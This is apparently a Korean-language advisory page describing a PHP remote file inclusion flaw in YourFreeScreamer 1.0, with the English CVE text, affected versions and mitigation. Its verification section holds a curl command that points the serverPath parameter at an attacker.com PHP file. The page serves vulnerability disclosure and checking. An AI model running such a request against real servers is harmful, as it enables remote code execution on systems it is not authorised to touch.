🇰🇷 한글 설명
YourFreeScreamer 1.0의 bodyTemplate.php에서 serverPath 파라미터가 적절히 검증되지 않아 원격 파일을 포함시킬 수 있습니다. 공격자가 악의적인 URL을 주입하면 임의의 PHP 코드가 서버에서 실행됩니다.
💡 쉬운 설명
웹사이트의 특정 기능이 외부 URL에서 파일을 로드할 때 검증을 하지 않아서, 해커가 자신의 악성 코드를 실행하도록 조작할 수 있습니다. serverPath라는 설정값에 공격 URL을 삽입하면 서버가 그것을 실행합니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in templates/2blue/bodyTemplate.php in YourFreeScreamer 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the serverPath parameter.
📍 영향받는 시스템
YourFreeScreamer 1.0 및 그 이전 버전
⚔️ 공격 벡터
HTTP 요청의 serverPath 파라미터에 공격자 서버의 PHP 파일 URL을 주입하여 원격 코드 실행
🛡️ 대응 방법
YourFreeScreamer를 보안 패치가 적용된 최신 버전으로 업데이트하거나, serverPath를 화이트리스트된 로컬 경로만 허용하도록 제한
🔧 검증 코드
응답에 원격 파일이 로드되었거나 PHP 코드가 실행된 흔적(오류 메시지, 출력)이 있으면 취약점 존재 확인
curl -s 'http://target/templates/2blue/bodyTemplate.php?serverPath=http://attacker.com/test.php' | grep -i 'include\|require\|php'